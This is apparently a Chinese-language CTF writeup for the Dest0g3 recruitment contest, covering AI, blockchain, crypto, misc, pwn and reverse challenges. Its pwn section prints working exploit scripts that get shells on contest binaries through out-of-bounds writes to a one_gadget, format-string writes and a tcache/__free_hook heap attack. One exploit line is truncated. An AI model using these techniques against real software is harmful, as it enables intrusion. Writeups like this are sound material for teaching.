站点图标 问谛居

Dest0g3 招新赛 Writeup by WDLJT

前言

写不完了,要国赛了,先咕为敬,之后可能要拆成几个方向独立放出来,算了懒得拆了,加个目录吧

AI

方向感想

这个题目整个做下来,这个 AI 真的很像 Misc 我甚至怀疑是因为被丢到 AI 这个类里面导致很多人不敢去做或者说是没有任何想法。

The correct flag

其实当时打开第一个想法就是词频统计,毕竟他说的是 AI 怎么读,词频统计最后看下来啥都没有,那么我又尝试了把两个字符当做一个词继续去做,

先贴脚本

行吧原本想直接粘贴结果看来是不行了,

好吧看着有点乱,beauty 一下

之所以这样是因为我想更方便的统计每一个字符后所跟的第二个字符的最大值是哪一个

因为在查找 flag 头的时候发现了这个问题,De st 0g 3{

e 是 D 后出现的最多的,t 是 s 后面出现的最多的,所以我先统计出来看看能不能直接拼出一个 flag

87,l1,OR,oX,in,uT,5o,UX,Xb,kf,hP,Ad,nT,Ps,bz,ao,wH,EI,jV,mH,Cp,Rv,VO,BT,Zy,4K,vs,t0,LH,Hj,6Q,FR,pf,ri,zO,Kp,Qx,Je,fx,TW,yP,xo,GM,MR,cv,YH,{2,}D,NW,qS,Il,g3,Sd,Wq,dI,29,7N,98,es,De,st,0g,3{,1}

然后看到位于末尾的 es

瞬间知道怎么做了 De es st t0 0g g3 3{ 都符合这个规律

所以就理所应当的是个贪吃蛇

Dest0g3{2987NWqSdIl1}

成功的水到了一血

OCR

这个题也很万恶,我原本发现了 CRC 校验是有问题的,但是又想到这个是 AI 题应该不存在什么修改宽高的东西,然后用 PS 尝试还原了一下图片

行吧,我懒得去 GitHub 找库了,就肉眼 OCR 吧,然后发现最后一排看不出来 E 和 F,我说可能需要穷举 2^10 次吧,问题不大,先打开试试

然后压缩了一个正常的 7z 末尾是 0000 ,行吧我去在确认下图片高度,结果,还真有东西,稍微处理了下

此时有个憨憨还没有意识到宽度也有问题,然后想到在 DAS 的某道题尝试翻倍宽度之后得到两个图像。肉眼 OCR 了一半,有些还是看不清楚,又去看了下,宽度一个一个的试了一下然后

用 QQ 自带的 OCR 了一下

377ABCAF271C000451FCF397500200000000000062000000000000001D9C97C8E004D002485D0022194A676D2FDE351A055C168F9710364AE2D581126E378F3B4C47E15E2E80B74234B849430A221F40C086E06B24ADAAC47F32CB62CADD154B50723E65E50CDF99CC2B953916AD2204D70C15FB493BD4C2E1F93902FB3563190ACEE58CC01621BB2AAAB6EED8CE892FEF5F0927E2C4BCD7C188277D09D0357995A2FB65D31CD990853D7BAF52EAD8555920D1672B4A3B713917E98FB324AD225A3FA2AFAC1435FFE31ED0C0CEF0CA0B68C0CCCA81C458680D7C75139429D282984933F7ACFDFB127321D9F4EFC0FEAAE92F985D3C457E90AFBC4DA9D11B23E507A0953036A2EC1D75D69CD1F6A9F0790B1AB02D6C2AFFDF66A2E7E56A1070FBCD316813E12DF9E26FC4813D419792A65960D4D97EDFA7A978A0385C04CF36EFDE3B07DF9B9405253EAA838149910F2571FAA4A8E085D1567C5C17C9B3400F91FBFE6B47E052BA07097C9D77803D3A45E3477FE324603179C7CA6A128CDC0F7E834812618AD4C79934226637E9300C5595E355139A2ECF661A5F63750A6A0035ACF52417AF3A1C1FEA14471D074C27F81C719D98717F4ECD32918BD15C18AB93769E94DDEFD3B6FAF4DDD6628BA44BDEF574FCCD5589334EA8063D7B27A2F0600FC864D010A7F0CEC9B9395434878D01943887194342F9D34FC8F12DD4556ED5A5A36667F9319A0395DB9A445B94C44771B406F962B1CFC8535BA0D3EE3DDDEB876C95092AAB192B168A732F3A7B9E8156C403C583983F5527A0D6C5D6928481D56955474046D9FC17A2DE21F3D6FC4C69644E7C6A141BE948A417A33D62C6FF6DFAC702A0FC101748D9A9C64A6A0000010406000109825000070B010001212101000C84D100080A0196EAFE6000000501190A0000000000000000000011190044006500730074003000670033002E00740078007400000019020000140A0100B547E05F6654D8011506010020000000000000

还是有问题,但至少我能看到里面应该是 flag 的文件了

肉眼稍微(指半个小时)纠正了下

377ABCAF271C000451FCF397500200000000000062000000000000001D9C97C8E004D002485D0022194A676D2FDE351A055C168F9710364AE2D581126E378F3B4C47E15E2E80B74234B849430A221F40C086E06B24ADAAC47F32CB62CADD154B50723E65E50CDF99CC2B953916AD2204D70C15FB493BD4C2E1F93902FB3563190ACEE58CC01621BB2AAAB6EED8CE892FEF5F0927E2C4BCD7C188277D09D0357995A2FB65D31CD99C853D7BAF52EAD8555920D1672B4A3B713917E98FB324AD225A3FA2AFAC1435FFE31ED0C0CEF0CA0B68C0CCCA81C458680D7C75139429D282984933F7ACFDFB127321D9F4EFC0FEAAE92F985D3C457E90AFBC4DA9D11B23E507A0953036A2EC1D75D69CD1F6A9F0790B1AB02D6C2AFFDF66A2E7E56A1070FBCD316813E12DF9E26FC4813D419792A65960D4D97EDFA7A978A0385C04CF36EFDE3B07DF9B9405253EAA838149910F2571FAA4A8E085D1567C5C17C9B3400F91FBFE6B47E052BA07097C9D77803D3A45E3477FE324603179C7CA6A128CDC0F7E834812618AD4C79934226637E9300C5595E355139A2ECF661A5F63750A6A0035ACF52417AF3A1C1FEA14471D074C27F81C719D98717F4ECD32918BD15C18AB93769E94DDEFD3B6FAF4DDD6628BA44BDEF574FCCD5589334EA8063D7B27A2F0600FC864D010A7F0CEC9B9395434878D01943887194342F9D34FC8F12DD4556ED5A5A36667F9319A0395DB9A445B94C44771B406F962B1CFC8535BA0D3EE3DDDEB876C95092AAB192B168A732F3A7B9E8156C403C583983F5527A0D6C5D6928481D56955474046D9FC17A2DE21F3D6FC4C69644E7C6A141BE948A417A33D62C6FF6DFAC702A0FC101748D9A9C64A6A0000010406000109825000070B010001212101000C84D100080A0196EAFE6000000501190A0000000000000000000011190044006500730074003000670033002E00740078007400000019020000140A0100B547E05F6654D8011506010020000000000000

我的评价是折磨题

打开压缩包

RGVzdDBnM3szNDUxMjA5OC0zMzA5LTc3MTItODg2NS03ODM0NjAyMjE2NDd9

base64 转一下

Dest0g3{34512098-3309-7712-8865-783460221647}

BlockChain

方向感想

因为这个题目部署在公链测试链上的所以我已经准备摆烂看其他人的 exp 然后重放一下(,结果前两道题都是非预期。

Where the flag?

这道题和之前 SJTUCTF 有出过私有链版本的这道题,因为私有链砍掉了很多 API 导致只能命令行交互,也看不到合约数据的位置,理论上他想要靠你的 mapping 计算。

https://learnblockchain.cn/books/geth/part7/storage.html

https://solidity-cn.readthedocs.io/zh/develop/miscellaneous.html#:~:text=%E5%AD%98%E5%82%A8%E9%9C%80%E6%B1%82%E5%B0%91,%E4%B8%AD

但是呢既然 API 没有被封掉,直接看全部 data 就行

Easy predict

predict 应该很像经典的 filp coin 但是呢,还是那句话 API 没有被封掉直接看 data 就行,但是呢可能是因为 mapping 的关系,顺序被打乱了,需要手动拼一拼

dbq,我懒了,甚至可能有漏的但是因为后面才写的有点忘了有没有其他的了,有的话再补吧(

Common found

本质上是一个 Re 或者说 Crypto

原本想头铁,硬爆破,就是把爆破后需要的 key 在源字符串找,结果想太多直接,3 位就跑了快 2 分钟,而且最后还 not found 就放弃了,只能正攻了。那理论是我们拿到数据也是可以。

想一步到位但是还是太菜了,

行那我就偷个懒

Payload:

pragma solidity ^0.8.9;


contract turn {

   string private flag;
   address private owner;

   constructor(string memory _flag) {
       flag = _flag;
       owner = msg.sender;
  }

   function random() private view returns (uint) {
       return uint(
           keccak256(
               abi.encodePacked(
                   block.difficulty,
                   block.timestamp,
                   msg.sender,
                   block.coinbase))
                  );        
  }


   function calculate() public pure returns(bytes1[200] memory) {
       //require(msg.value >= 5 ether);
       //bytes memory _flag = bytes(flag);
       //uint256 entropy = uint256(random() % _flag.length);
       uint256 i = 0;
       bytes1[200] memory result;
       //string[45] memory inputstring = ["0x6d","0xd4","0x33","0xb6","0xba","0x64","0xc5","0xdd","0xb7","0x5e","0x99","0x72","0xef","0xba","0x88","0xd2","0x6f","0x59","0x8a","0x08","0x89","0xac","0xf6","0xee","0xff","0x36","0x7e","0x32","0x27","0x90","0xbb","0x5e","0x54","0x8a","0x3f","0x74","0x1a","0xec","0xbe","0xad","0x8e","0x64","0x1a","0x2e","0x4a"];
       //bytes memory tmp;
       for (i = 0;i<94;i++){
           result[i] = bytes1(keccak256(abi.encode(i)));
      }
       return result;
  }

   function withdraw(address payable receipt) public payable {
       require (msg.sender == owner);
       receipt.transfer(address(this).balance);
  }

   receive() payable external{}
}

拿到 key 之后按照原本的合约,再异或下应该就行

我就懒得写异或脚本了直接上 CyberChef 了

Crypto

baby RSA

RSA 看起来不难,考点应该就是 Next_Prime 两个质数相近可以用 yafu 直接爆出来

那 q p 都齐了那就直接解密

Payload:

import binascii
import gmpy2
p=165143607013706756535226162768509114446233024193609895145003307138652758365886458917899911435630452642271040480670481691733000313754732183700991227511971005378010205097929462099354944574007393761811271098947894183507596772524174007304430976545608980195888302421142266401500880413925699125132100053801973971467
q=165143607013706756535226162768509114446233024193609895145003307138652758365886458917899911435630452642271040480670481691733000313754732183700991227511971005378010205097929462099354944574007393761811271098947894183507596772524174007304430976545608980195888302421142266401500880413925699125132100053801973969401
n=p*q
e=65537
c=14181751948841206148995320731138166924841307246014981115736748934451763670304308496261846056687977917728671991049712129745906089287169170294259856601300717330153987080212591008738712344004443623518040786009771108879196701679833782022875324499201475522241396314392429412747392203809125245393462952461525539673218721341853515099201642769577031724762640317081252046606564108211626446676911167979492329012381654087618979631924439276786566078856385835786995011067720124277812004808431347148593882791476391944410064371926611180496847010107167486521927340045188960373155894717498700488982910217850877130989318706580155251854


phi=(p-1)*(q-1)
d=gmpy2.invert(e,phi)
m=pow(c,d,n)
print(hex(m))
print(binascii.unhexlify(hex(m)[2:].strip("L")))

Dest0g3{96411aad-032c-20a8-bc43-b473f6f08536}

baby AES

因为搜出来的基础解密脚本跑了半天没跑出来,直接用在线工具了

https://the-x.cn/cryptography/Aes.aspx

ezDLP

参考 网鼎杯青龙组 You raise me up

直接改参数即可

c = 335215034881592512312398694238485179340610060759881511231472142277527176340784432381542726029524727833039074808456839870641607412102746854257629226877248337002993023452385472058106944014653401647033456174126976474875859099023703472904735779212010820524934972736276889281087909166017427905825553503050645575935980580803899122224368875197728677516907272452047278523846912786938173456942568602502013001099009776563388736434564541041529106817380347284002060811645842312648498340150736573246893588079033524476111268686138924892091575797329915240849862827621736832883215569687974368499436632617425922744658912248644475097139485785819369867604176912652851123185884810544172785948158330991257118563772736929105360124222843930130347670027236797458715653361366862282591170630650344062377644570729478796795124594909835004189813214758026703689710017334501371279295621820181402191463184275851324378938021156631501330660825566054528793444353
a = 199533304296625406955683944856330940256037859126142372412254741689676902594083385071807594584589647225039650850524873289407540031812171301348304158895770989218721006018956756841251888659321582420167478909768740235321161096806581684857660007735707550914742749524818990843357217489433410647994417860374972468061110200554531819987204852047401539211300639165417994955609002932104372266583569468915607415521035920169948704261625320990186754910551780290421057403512785617970138903967874651050299914974180360347163879160470918945383706463326470519550909277678697788304151342226439850677611170439191913555562326538607106089620201074331099713506536192957054173076913374098400489398228161089007898192779738439912595619813699711049380213926849110877231503068464392648816891183318112570732792516076618174144968844351282497993164926346337121313644001762196098432060141494704659769545012678386821212213326455045335220435963683095439867976162
b = 19
import sympy
flag=sympy.discrete_log(a,b,c)
import binascii
print(binascii.unhexlify(hex(flag)[2:]))

Misc

Welcome to fxxking DestCTF

懒,不写了

Pngenius

拿到 png 先 steg 梭一下

那都这样说了,肯定还有个压缩包,直接复制 hex 手动提取,打开即可获得flag

Dest0g3{2908C1AA-B2C1-B8E6-89D1-21B97D778603}

EasyEncode

然后就直接 CyberChef 直接出结果

Payload:

[{"op":"From Morse Code","args":["Space","Line feed"]},{"op":"From Hex","args":["Auto"]},{"op":"Unescape Unicode Characters","args":["\\u"]},{"op":"URL Decode","args":[]},{"op":"From Base64","args":["A-Za-z0-9+/=",true]}]

StrangeTraffic

打开流量包直接开始追踪流

看起来有点像爆破字符,那么替换后的字符应该是 flag ,看了下有点像 b64 解码之后发现有 flag 头部 Dest0[7 那我觉得应该就是这个思路,后面也跟着这个思路

几段收集下来 RGVzdDBnM3szMUE1QkVBNi1GMjBELUYxOEEtRThFQS0yOUI0RjI1NzEwOEJ9

base64解码之后 Dest0g3{31A5BEA6-F20D-F18A-E8EA-29B4F257108B}

你知道js吗

拿到压缩包之后,解压才发现是个文档,直接不开文档了,打开 document.xml

复制应该是 base64 的字符串出来用 cyberchef 处理下

看起来应该是 brain fuck

得到 flag Dest0g3{86facac9-0a5d-4047-b702-86cb37ab77b2}

4096

打开网页,小游戏,直接开始翻源码,不过是谁家的图标能有 12MB 这不对吧,下载下来用 hex 打开

往下拉直接看到压缩包了索性直接 foremost 了

看到了个压缩包,一个音频,先看音频

一开始有一段拨号声(最后也有一段)

因为写 wp 复现的时候有点嘈杂所以 中间那段 Robot36 转图片重新截图有点问题

实在太嘈杂两遍都不行,下面应该还有一段 flag:

这个意思是说 MD5 拨号电话

那么前后两段拨号音都有用了,耳朵硬听或者工具或者看频谱都行得到号码

MD5(138****5947),好像是主办方的电话,打个码吧。

好吧考虑了一下还是不放 md5 结果了,不然就成开盒了。

估计是压缩包密码,试了一次确实是

一眼定*,gaps直接梭,跑了一会儿

自由组合一下,请注意,分清楚 I 和 l 不然巨坑

uuid 哪来的 h 自查了下

Dest0g3{ed4d114f-9ee4- 拿到了前半段 flag

既然有容器那么一定前端还是有东西的

10000 分拿 flag 后半段,我先拿走了

Congratulations, this is part of the flag: NGVlNy1iNjczLTk3MWQ4MWY4YjE3N30=.

套娃,行

4ee7-b673-971d81f8b177}

Dest0g3{ed4d114f-9ee4-4ee7-b673-971d81f8b177}

EasyWord

docm 先用 AOPR 爆破下密码

网上有一篇类似的教程:https://web.archive.org/web/20220527051425/https://icode.best/i/03443039651482,为了防止站点跑路用 archive 备份了下

大部分我都参考的这里。

但是解宏密码的时候不太好使,另外找了个在线工具:https://master.ayra.ch/unlock/

然后跟着教程操作就行了,decode的关键部分是"zΚjrШφεあ"这个

然后凹了半天发现这个密码和教程一致,因为最后 decode 有点问题出不来

rarpassword:2zhlmcl,1hblsqt.

然后解压后得 flag

Dest0g3{VBScr1pt_And_Hashc4t_1s_g00d}

codegame

其实就是猜语言逻辑,没什么好说的不过后面有个 CODE!COUNTER 一开始没反应过来

Payload:

code = "THISISTHEPASSWORD"
msg = []
for i in range(len(code)):
c = code[i]
r = ord(c)
r += -3
if r < 65:
r += 26
msg.append(chr(r))
print(msg)

QEFPFPQEBMXPPTLOA

打开看到 AES ,没有其他东西,看看 doc 的压缩包,有个 fllllllllllag,打开发现 emoji 那应该就是 emojiaes

使用工具:https://aghorler.github.io/emoji-aes/

然后我猜了 1 个小时的 key 没猜出来,我觉得也没漏,KEYcode 最后想了想可能是双关,就去穷举偏移了,最后得到偏移是 4

ASCII 码解码后得 flag{9f68f334-017a-4201-92df-dddcc145334d}

Python_jail

打开 hint ,发现说是隐藏的字符,那就先丢进 0 宽试一试

whitespace 不知道是啥,估计是个 key

打开 password 一堆空格和 tab

哦原来 whitespace 是指的这个,丢到 dcode 里面跑一下

应该是压缩包密码(其实可以不用放 hint 出题人居然温柔了)

看到图片先试试 LSB

看到东西了 base64 解一下

flag{b5bcfc87-5ca6-43f1-b384-57d09b886ca9}

被污染的二维码

这个题被喔恶心到了,主要是自己对 QRCode 了解不深,我以为扫出来 4 个字符是我自己没有复原好,结果过一段时间重新打开压缩包才发现还有另外一个 part。。

因为当时对了半天都没对上,然后我尝试反色了一下,结果大部分对上了,但是掩码对不上后来直接摆烂不管掩码了

进入扫码模式

然后用微信扫一扫,出来45cb

然后在这卡了半天,我以为没有其他信息了,是二维码没还原好(当时查了下二维码23*23二维码的容载上限应该是够flag的)然后才发现还有一半。。。

虽然肉眼看到最底下又多冒出了一个idat,因为前一个没满,必然有问题

最后还是用pngchecker扫了一下

chunk IDAT at offset 0x00057, length 2543 zlib: deflated, 32K window, fast compression chunk IDAT at offset 0x00a52, length 8478: EOF while reading data

看了看hex,看这个头,应该是zlib。这网站zlib都有,以后还有什么谁敢想

解了试了试,终于拿到密码了。坑人的是flag2的7z头,两个字节被调换了(af bc),好在没有浪费太多时间。7z里面是个txt,习惯性拉hex看了下,有一些零宽字符,刚开始并不知道是怎么解出里面的信息的,直接把零宽去掉,然后cyberchef硬干,解出来是特殊的(?)base64

后面才用工具 http://330k.github.io/misc_tools/unicode_steganography.html 解了下,原来里面写的是 N-ZA-M, 就是 rot13 的意思,配合二维码的四位,flag 就有了

rookie hacker-2

用 OSFMount 挂载下,因为没有装 ext4 的驱动(?),用 DiskGenius 看看吧

毕竟是 docker 肯定是命令行执行,直接看 bashhistory

那应该就是 docker 的 IP ,Dest0g3{172.18.0.2_172.18.0.3}

rookie hacker-1

/var/lib/docker/containers/*/config.v2.json 打开看看, StartedAt FinishedAt Created三个字段就是时间,下面还有个Name/ 去掉就是名字,

Python Payload:

import hashlib

container1 = "project_work_web_1" + "2021-06-21_11:34:27" + "2021-06-21_11:48:56" + "2021-06-22_12:02:17" # 45b102b5
container2 = "project_work_db_1" + "2021-06-21_11:34:27" + "2021-06-21_11:48:55" + "2021-06-22_12:02:17" # 4db256d6
a = container1+container2
flag = "Dest0g3{" + hashlib.md5(a.encode()).hexdigest() + "}"
print(flag)

#Dest0g3{9c78287fc6292b46cec567202666bb03}

rookie hacker-3

看 python 项目真的没有什么头绪, 好像没有什么可以泄露的。

跑了半天 docker 结果半天起不来,然后看 docker-compose.yml

后面有人秒题了想了想应该不会特别难,至少不用开 docker,又倒回去看了下

好像 mongo 是暴露端口的,就想 mongo 的数据库会不会泄露,

然后去/var/lib/docker/volumes翻了下 mongo 的数据文件在哪,看到几个比较大的.0结尾的文件,然后几个 volumes 都有,然后盲了一手

应该就是了, 交上去试了下,过了

但问题是到了最后我也不知道为什么这个文件泄露,Mongo 2 的版本我也看了没有什么 CVE ,确实就算我靶机拉起来了也不知道为什么泄露,后面可能得看出题人 wp 了。

Pwn

ez_pwn

打开IDA查看,发现1配合2可以造成数组越界,

并且发现v1数组时储存在栈上的,

那么可以想到利用数组越界来覆盖栈上的返回地址为one_gadget来getshell

那么这个题就只差泄漏libc地址了

这个里要用到一个小trick,就是scanf在读入数字时如果输入“+”或“-”就会导致未初始化而导致内存泄漏(参考 NSSCTF 的 Round/Prize)

我尝试了一下,这里泄漏出来一个负数

然后用计算器转一下,发现是libc中的地址

接着gdb distance算下偏移即可得到libc地址,最后由于输入的数据是"%d",最多为0x7fffffff,而one_gadget的地址又是0xf7开头的,所以需要转为负数

然后是出题人不当人系列没有给libc,我猜测出题人搭建远程的时候应该是用的Ubuntu原生镜像,拉了几个版本试了下(指几个小时),最后试出来是2.27 - 11.5版本

Payload:

from pwn import *

p = process("ez_pwn")
elf = ELF("ez_pwn")
#p = remote("node4.buuoj.cn",26444)
#p = remote("127.0.0.1",10000)
libc = elf.libc

def add(num):
p.sendlineafter("choice:","1")
p.sendlineafter("input num",str(num))

p.sendlineafter("array:","-1")
p.sendlineafter("choice:","1")
p.sendlineafter("input num","+")

p.sendlineafter("choice:","2")
p.recvuntil("sum = ")

a = int(p.recv(10))
libc_base = (struct.unpack('<I', struct.pack('<i', int(a)))[0]) -0xd354
success("libc_base :" + hex(libc_base))

success("li: " +hex(libc.sym['setbuf']))

one= [0x3cdea,0x3cdec,0x3cdf0,0x3cdf7,0x6749f,0x674a0,0x1357ae,0x1357af]
one_addr = libc_base + one[0]

success("one: " + hex(one_addr))

success("one: " + str(0xffffffff - one_addr -1 ))


for i in range(17):
add("+")


add(-(0xffffffff - one_addr +1) )
#gdb.attach(p,"b * 0x80493FA")
#pause()
p.sendlineafter("choice:","4")

#add(1)

p.interactive()

ez_aarch

打开IDA一路跟进函数发现在sub_968处存在一个栈溢出

shift+f12一下,发现留有后门

虽然题目开启了pie,但是地址的后三位是不会变得,所以利用栈溢出直接覆盖返回地址得最后一位为\x3c即可

exp

from pwn import *
#io = process(["qemu-arm","-L", "./", "./stack"])
p=remote("node4.buuoj.cn",29316)
context.log_level='debug'
context.arch='arm'
payload = 'a'*40+<
p.sendafter("name:\n",payload)
p.interactive()

dest_love

IDA 看一下,发现存在格式化字符串漏洞,只要修改了dword_0x4010就能getshell

想先aaa%p*n算他的偏移,搞了半天才发现格式化字符串不在栈上 行,直接搜索不在栈上的格式化字符串,现学

首先是泄漏地址

可以看到第十个参数是栈地址,之前%p发现是程序地址

拿到这两个地址后就可以算出dword_0x4010的绝对地址,以及等下供我们操作的栈地址

接下来是构造

可以看到第十个参数的位置刚好是一个A-->B-->C的结构,那么就构造思路如下

改1为2,这样3就会指向2,我们修改3就能修改4,4是程序中的地址,我们改后两位就能将4改为dword_0x4010,此时2就指向了dword_0x4010,改2就能修改dword_0x4010的值

其中1是第10个参数,2,3是第12个参数,4是第39个参数

2 指歪了将就吧(((

exp

from pwn import *

#p = remote("node4.buuoj.cn",25534)
p = process("dest_love")
elf= ELF("dest_love")
libc = elf.libc

pay = '%p,%10$p,%9$p'
p.sendlineafter("What about your love to Dest0g3?",pay)

p.recvuntil("0x")
elf_base = int(p.recv(12),16) -0x4060
p.recvuntil("0x")
stack = int(p.recv(12),16)
success("elf_base: " + hex(elf_base))
p.recvuntil("0x")
libc_base = int(p.recv(12),16) - 0x2565

success("stack: " + hex(stack))
target_addr = elf_base + 0x4010
stack1 = stack - 0xd8

success("stack1: " + hex(stack1))

pay1 = "%" + str(stack1 & 0xffff) + "c%10$hn"
print("d " + pay1)
p.sendlineafter("What about your love to Dest0g3?",pay1)


sleep(1)
pay2 = "%" + str(target_addr & 0xffff) + 'c%39$hn'
p.sendlineafter("What about your love to Dest0g3?",pay2)


sleep(1)
pay3= "%" + str(0x140ED8) + 'c%12$n'
p.sendlineafter("What about your love to Dest0g3?",pay3)

sleep(1)
pay = 'a'
p.sendlineafter("What about your love to Dest0g3?",pay2)

#gdb.attach(p)

pause()

p.interactive()

队里有和我一样不太会 pwn 的,然后用 IDA 调的。也能通(甚至是未曾设想的道路)

from pwn import *

# r = remote('192.168.100.242', 11451)
r = remote('node4.buuoj.cn', 28746)
# socat TCP-LISTEN:11451,fork,reuseaddr SYSTEM:./pwn
x = r.recvline()

def send(data):
   data = data + '\n\0'
   r.send(data)
   #r.sendline(data)
   result = r.recvline().decode('ascii')
   r.recvline()
   return result
result = send('%10$p/%12$p') #stack/main

stack = int(result.split('/')[0], 16)
i = stack - 33 * 8
target = stack - 27 * 8 # printf(format, rdi, rsi, rcx, r8, r9, *rsp, *(rsp + 8), *(rsp + 16), *(rsp + 24), .....);

def write_stack(to, addr=39):
   a = to & 0xFFFF
   # print(a)
   #addr10 pointer
   send(f'%{a}c%{addr}$hn')

def reset_i():
   write_stack(i, addr=27)
   write_stack(0, addr=41)

reset_i()
main = int(result.split('/')[1], 16)
mov = main + 0x1221 - 0x1185
cmp_addr = mov + 6
write_stack(target, addr=10)
reset_i()
write_stack(mov)
reset_i()
r.sendline(b'%12$s')
#base
res = r.recvline()
reset_i()
#0x564c5e243010
b = unpack(res[2:][:-1], word_size=16)
target_addr = cmp_addr + b
#print('addr,', hex(target_addr))
write_stack(target, addr=10)
reset_i()
write_stack(target_addr)
reset_i()
write_stack(target + 2, addr=10)
reset_i()
write_stack(target_addr >> 16)
reset_i()
send('%1314520c%12$n')
reset_i()
r.interactive()

emma

emma这题我应该是非预期了,看到题目名先搜了下emma pwn,然后就看到了house of emma的利用方法,xs,根本看不懂

发现题目中的限制并没有文章中写的那么多,然后又看了下题目的一些限制条件,通过检索,找到了这篇文章

文章中的列题于本题的条件差不多,都是存在UAF漏洞,且大小都限制了为largebin

那就照着板子凹吧

这个解题思路主要是利用了largbin attack 向任意地址写入一个堆地址,去攻击一个叫mp的结构体,通过修改里面的mp.tcache_bins来使得很大的堆块也可以释放进入tcache bin 然后就是利用UAF劫持free_hook为system来getshell

文章中还提到了mp结构体偏移计算的方法(他真的好温柔

通过调试最终成功修改mp结构体

可以发现申请的0x500大小的堆已经被放进了tcache bin中

最后在劫持__free_hook的时候始终劫持不了,给我人都搞傻了,后面才反应过来文章中的libc版本是2.31,本题的libc版本是2.33,百度发现在2.32版本后对tcache的指针进行了加密保护,但仅仅是一个简单的异或加密,加密的key为当前的堆地址 >> 12,利用UAF可以轻易泄漏出堆地址,那么也能轻松的到key

但是最后还是被小坑了一下,泄漏出来的地址有点尴尬,这里上个图感受下

最后成功劫持free_hook

exp

from pwn import *

p = remote("node4.buuoj.cn",29459)
#sp = process('emma')
elf = ELF('emma')
libc = elf.libc

def choice(choice):
p.sendlineafter(">>",str(choice))

def add(size,idx,content):
choice(1)
p.sendlineafter(":",str(idx))
p.sendlineafter(":",str(size))
p.sendlineafter("Content",content)

def edit(idx,content):
choice(2)
p.sendlineafter(":",str(idx))
p.sendlineafter("Content",content)

def show(idx):
choice(3)
p.sendlineafter(":",str(idx))

def free(idx):
choice(4)
p.sendlineafter(":",str(idx))

add(0x450,0,b'')
add(0x420,1,b'')

free(0)
add(0x440,2,b'')
show(0)

libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x1e100a
success("libc:" + hex(libc_base))

system = libc_base + 0x4fa60
free_hook = libc_base + 0x1e3e20
mp_80 = libc_base + 0x1e02b0

#success(hex(libc.sym['__free_hook']) + " " +hex(libc.sym['system']))

add(0x440,0,b'')
add(0x420,3,b'')
free(2)
add(0x600,4,b'')
free(0)
edit(2,p64(0)*3+p64(mp_80))


add(0x600,5,b'')
#gdb.attach(p)
add(0x500,6,b'')
add(0x500,7,b'')
free(7)
free(6)

show(7)
p.recv()

key = u64(p.recv(5).ljust(8,b'\x00'))-1
success("key: " + hex(key))


edit(6,p64(free_hook^key))


add(0x500,8,b'123')
add(0x500,9,p64(system))

edit(2,b'/bin/sh\x00')
free(2)
#gdb.attach(p)

p.interactive()

Reverse

simpleXOR

异或回去了事,顺手学了个提数据(

from pwn import *

fd = open("./xor","rb")
offset = 0x3060
arr = []

while offset < 0x30f0:
fd.seek(offset)
fr = fd.read(1)
arr.append(u8(fr))
offset += 4

print(arr,len(arr))

for i in range(len(arr)):
flag = (arr[i] ^ 0xf7)-i
print(chr(flag),end = "")

Dest0g3{0bcgf-AdMy892-KobPW-hB6LTqG}

hi

刚开始看这里的 (((i_4+x[i])>>31)>>24) 感觉可以消掉,然后尝试写了个逆推,发现不对,整破防了。由于 cpp 水平不精也不太脑补的出来这一步是干啥的,就直接爆破吧。

先魔改 elf,然后外面写个程序爆破,属于是没有压力(指 ctf)就写不出汇编了。

from pwn import * 

enc = [0x97,0x64,0x48,0xc6,0x1c,0x7a,0x8e,0x9f,0x46,0xbd,0x60,0xe7,0x82,0xf3,0xee,0x69,0x49,0xf7,0x0e,0xe3,0xe2,0x17,0xc0,0xb9,0x2c,0x39,0x30,0xa4,0x48,0x01,0x41,0x98,0x39,0xa9,0xb5,0xe5,0x11,0x74,0x0e,0xe8,0xac,0xfd,0x8b,0xa5,0x0a]

x = []
fd = open("./hi","rb")
offset = 0x3020
while offset < 0x304d:
fd.seek(offset)
fr = fd.read(1)
x.append(u8(fr))
offset += 1
#print(len(enc))
print(x,len(x))

for i in range(45):
for j in range(256):
v1 = j*23
s = (((v1 + x[i]) >> 31) >> 24) + v1 + x[i] - (((v1 + x[i]) >> 31) >> 24)
s = s % 256
if s == enc[i]:
print(chr(j),end = "")

tttea

照着写一个就行了

最开始想像 hi 一样爆一下的然后越看越不对,发现是块加密

按照ida反编译的写,然后调了好久好久都不对,最后发现delta在两个函数里面被改了

就索性复制了不想改 py 了

#include <bits/stdc++.h>

void decrypt(uint32_t *input, int len, uint32_t delta) {
   uint8_t key[4];
   key[3] = (delta & 0xff000000) >> 24;
   key[2] = (delta & 0x00ff0000) >> 16;
   key[1] = (delta & 0x0000ff00) >> 8;
   key[0] = delta & 0x000000ff;
   auto count = 52 / len + 6;
   // len a2
   auto sum = delta * count;

   for(auto i = 0; i < count; i++) {
       int v7 = (sum >> 2) & 3;
       for(auto j = len - 1; j >= 0; j--) {
           uint32_t tmp = 0;

           if (j == 0) {
               tmp = input[len - 1];
          } else {
               tmp = input[j - 1];
          }
               /**
               a1[a2 - 1] = v5;
   v11 = v5;
   */
           auto target = j == (len-1) ? 0 : j+1;
           auto x = ((tmp ^ key[v7 ^ j & 3]) + (input[target] ^ sum)) ^ ((16 * tmp ^ (input[target] >> 3)) + (4 * input[target] ^ (tmp >> 6)));
           input[j] -= x;
           tmp = input[j];
      }

       sum -= delta;
  }
   // return input;
}

int main() {
   uint8_t data[] = { 3, 0x23, 0x22, 0x2F, 0x36, 0x88, 0x0FD, 0x43, 0x21, 0x0E8, 0x5B, 0x65, 0x31, 0x1E, 0x3B, 0x0A6, 0x4B, 0x0B8, 0x0DC, 0x88, 0x80,
           0x19, 0x84, 0x6F, 0x97, 0x72, 0x21, 0x26, 0x0AD, 0x64, 0x0EE, 0x0BB, 0x88, 4, 0x4D, 6, 0x2F, 0x26, 0x0E5, 0x6B, 0x81, 0x4B,
           0x0F5, 0x73};


   // char test[] = "12345678901234567890123456789012345678901234";
   // int len = strlen(test);
   // sub_401660((uint32_t *)test, len >> 2, delta);
   // for(int i = 0; i < len; i ++) {
   //     printf("%2hhx", test[i]);
   // }
   // printf("\n");

   decrypt((uint32_t *)data, 44 >> 2, 0x74746561);
   printf("%s\n", data);

   return 0;
}

ezmath

也是照着写一个就行了, csharp 的 uint 转换太坐牢了,刚开始写,想逆推,出了一堆问题。

然后看的时候也是非常不懂,比如说是 y = x * 83987 % -232573883,已知 y 求 x ?不会,理一下思路,然后暴力吧

from curses.ascii import isdigit, islower

enc = [218, 49, 230, 35, 65, 168, 134, 53, 233, 62,
      212, 208, 127, 224, 63, 164, 36, 88, 65, 138,
      118, 255, 107, 22, 16, 239, 61, 58, 130, 101,
